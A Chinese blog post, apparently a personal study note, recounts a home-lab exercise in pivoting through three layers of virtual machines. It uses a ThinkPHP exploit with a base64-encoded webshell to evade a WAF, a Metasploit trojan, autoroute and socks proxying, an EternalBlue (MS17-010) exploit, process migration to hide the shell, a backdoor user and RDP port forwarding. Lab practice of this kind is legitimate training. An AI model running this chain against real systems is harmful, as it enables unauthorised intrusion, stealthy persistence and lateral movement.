内网渗透(三)--多层内网

本文最后更新于:2 年前

环境搭建

渗透靶机:Kali Linux 2021.3

第一层靶机 (外网web服务器): CentOS 7

第二层靶机 (内网web服务器): Ubuntu 18.04

第三层靶机 (内网办公机) : Windows 7

除渗透靶机外,每台靶机均安装宝塔面板且防火墙均关闭。

为了模拟外网攻击,渗透靶机的网络设置可以不用改变。

内网配置

这里我们在“设置”–“虚拟网络编辑器”里面添加VMnet14和15两个网络适配器,均设置为“仅主机模式”。再把VMnet14的子网地址设置为192.168.22.0,把VMnet15的子网地址设置为192.168.33.0。

把CentOS 7的网卡1设置为桥接模式,网卡2设置为自定义(VMnet14);把Ubuntu的网卡1设置为VMnet14,网卡2设置为VMnet15;把Windows 7的网卡设置为VMnet15。

完成配置后,正式开始渗透。

渗透步骤

先在kali攻击机上用msf生成一个Linux木马。由于第一层靶机使用了thinkPHP的框架,所以直接上exp,写入一句话木马,再用蚁剑连接。但是,宝塔面板的waf会过滤掉“post”,所以我们把一句话木马进行base64编码后再上传即可。连接上以后,上传msf生成的Linux木马,设置监听(方法在前面的笔记里面有)。

msf查看网卡情况

首先输入arp -a查看该机器上的网卡信息。

获取网络架构分布:

1
run get_local_subnets

添加路由访问:

1
run autoroute -s 192.168.22.0/24或run post/multi/manage/autoroute

那为什么要添加路由呢?因为后面我们要进行主机端口扫描的时候,是需要退出当前meterpreter的。而退出了当前会话我们就不能访问内网主机了那我们就不能进行端口扫描。所以需要添加路由,那我们退出了meterpreter也能进行端口扫描(不管有没有添加路由都ping不通)

查看路由表信息(检查路由是否添加成功):

1
run autoroute -p或route print

完成之后用background挂起会话,再使用socks4代理:

1
2
3
4
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 192.168.50.xx #我的网关ip为192.168.50.1,这里填kali攻击机的ip
exploit

使用proxychains代理工具

配置proxychains代理文件:

1
vim /etc/proxychains4.conf

在最后一行添加:socks4 192.168.50.xx 1080并保存退出(这里的ip也是填kali的),再输入session1返回刚才的会话。

用nmap扫描第二层靶机:

1
proxychains nmap -Pn -sT 192.168.22.xx

当然你也可以选择本机挂代理访问,把kali攻击机作为代理服务器,socks4代理推荐用SocksCap64这款软件。

用与前面同样的方法让第二层靶机上线,arp -a查看该机器上的网卡信息,配置路由,nmap扫描后发现第三层靶机开启了445端口,上网查询后发现存在“永恒之蓝”漏洞,于是直接使用msf内置的exp模块:

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.33.xx
exploit

为了隐藏shell进程,我们可以进行进程迁移:

1
2
getpid
run post/windows/manage/migrate

输入shell即可执行Windows添加用户的命令(如果shell中出现乱码,输入命令chcp 65001即可),退出shell后配置端口转发,把内网的3389端口转发到kali本地的1111端口:

1
portfwd add -l 1111 -p 3389 -r 192.168.33.xx

启动远程桌面:

1
rdesktop -u 用户名 -p 密码 192.168.50.xx:1111 #ip同样是kali的

渗透结束,收工,接下来我们就可以操控第三层靶机愉快地玩耍了!

踩过的坑

在配置第一层靶机的thinkPHP环境时,首先输入bt default查看宝塔面板安全入口,再登录进去。这里注意了,显示的公网ip是不能用来直接登录的,我们要使用家里局域网的ip登录。登录进去以后把域名改为第一层靶机的两个网卡对应的ip,然后把根目录设为/www/wwwroot/ThinkPHP第二个坑来了:这里还要配置thinkPHP的伪静态规则,并且把启动目录设为/public(已知thinkPHP版本为5)。

总结

上面的笔记看似内容不多且简单,其实需要很长时间消化,本人在复现的过程中也遇到了重重困难。内网渗透的学习绝非易事,让我们一起加油,攻克内网渗透这个大难关!


内网渗透(三)--多层内网
https://rookieterry.github.io/2022/01/17/内网渗透(三)-多层内网/
作者
HackerTerry
发布于
星期一, 一月 17日 2022, 5:33 下午
许可协议